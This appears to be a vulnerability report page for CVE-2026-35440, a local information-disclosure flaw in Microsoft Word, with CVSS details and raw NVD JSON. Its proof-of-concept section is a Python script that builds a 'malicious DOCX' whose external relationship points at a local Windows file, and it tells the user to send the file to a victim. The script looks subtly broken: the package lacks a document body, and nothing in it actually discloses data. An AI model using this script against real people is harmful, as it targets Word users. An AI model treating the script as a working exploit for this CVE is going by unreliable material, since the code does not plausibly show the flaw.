Security Vulnerability Report
中文
CVE-2026-35440 CVSS 5.5 MEDIUM

CVE-2026-35440

Published: 2026-05-12 18:17:14
Last Modified: 2026-05-13 15:34:53

Description

Files or directories accessible to external parties in Microsoft Office Word allows an unauthorized attacker to disclose information locally.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Microsoft Office Word (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-35440 # This script demonstrates the creation of a malicious DOCX file # containing an external reference to a local file to trigger the info disclosure. import zipfile import os def create_malicious_docx(filename): # Create a minimal DOCX structure # The vulnerability is triggered via relationships pointing to local resources rels_content = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="file:///c:/windows/win.ini" TargetMode="External"/> </Relationships>""" # Create a temporary directory structure base_dir = "temp_docx" rels_dir = os.path.join(base_dir, "_rels") os.makedirs(rels_dir, exist_ok=True) # Write the .rels file with open(os.path.join(rels_dir, ".rels"), "w") as f: f.write(rels_content) # Create [Content_Types].xml content_types = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"></Types>""" with open(os.path.join(base_dir, "[Content_Types].xml"), "w") as f: f.write(content_types) # Zip into docx with zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED) as zf: for root, dirs, files in os.walk(base_dir): for file in files: abs_file = os.path.join(root, file) rel_file = os.path.relpath(abs_file, base_dir) zf.write(abs_file, rel_file) # Cleanup for root, dirs, files in os.walk(base_dir, topdown=False): for name in files: os.remove(os.path.join(root, name)) for name in dirs: os.rmdir(os.path.join(root, name)) os.rmdir(base_dir) print(f"[+] Created malicious file: {filename}") print(f"[+] Send this file to a victim and open it in Word.") if __name__ == "__main__": create_malicious_docx("cve_2026_35440_poc.docx")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35440", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:14.287", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Files or directories accessible to external parties in Microsoft Office Word allows an unauthorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-552"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440", "source": "[email protected]"}]}}